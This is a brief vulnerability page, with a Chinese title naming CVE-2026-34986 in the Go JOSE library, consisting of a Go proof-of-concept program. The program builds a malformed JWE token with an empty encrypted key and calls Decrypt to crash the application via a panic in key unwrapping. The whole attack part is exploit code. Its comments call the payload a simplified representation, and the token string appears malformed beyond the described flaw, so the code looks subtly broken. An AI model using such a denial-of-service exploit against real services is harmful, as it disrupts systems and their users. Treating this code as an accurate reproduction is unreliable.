CVE-2026-34986 Go JOSE 拒绝服务漏洞

package main import ( "fmt" "github.com/go-jose/go-jose/v3" ) // This PoC demonstrates the panic trigger in vulnerable versions. // It requires a vulnerable version of go-jose (< 4.1.4 or < 3.0.5). func main() { // Construct a malicious JWE string. // Header: {"alg":"A128KW","enc":"A128GCM"} // The encrypted_key part is intentionally left empty to trigger the panic. // Note: This is a simplified representation of the malformed payload structure. malformedJWE := "eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0..INVALID_PAYLOAD." fmt.Println("Attempting to parse and decrypt malicious JWE...") // Parse the JWE obj, err := jose.ParseEncrypted(malformedJWE) if err != nil { fmt.Printf("Parse error (expected in some cases): %v\n", err) return } // Attempting to decrypt with an empty key or any key when encrypted_key is empty // and alg is A128KW will trigger a panic in cipher.KeyUnwrap(). // This leads to the Denial of Service. _, err = obj.Decrypt([]byte("test_key")) if err != nil { fmt.Printf("Decrypt error: %v\n", err) } }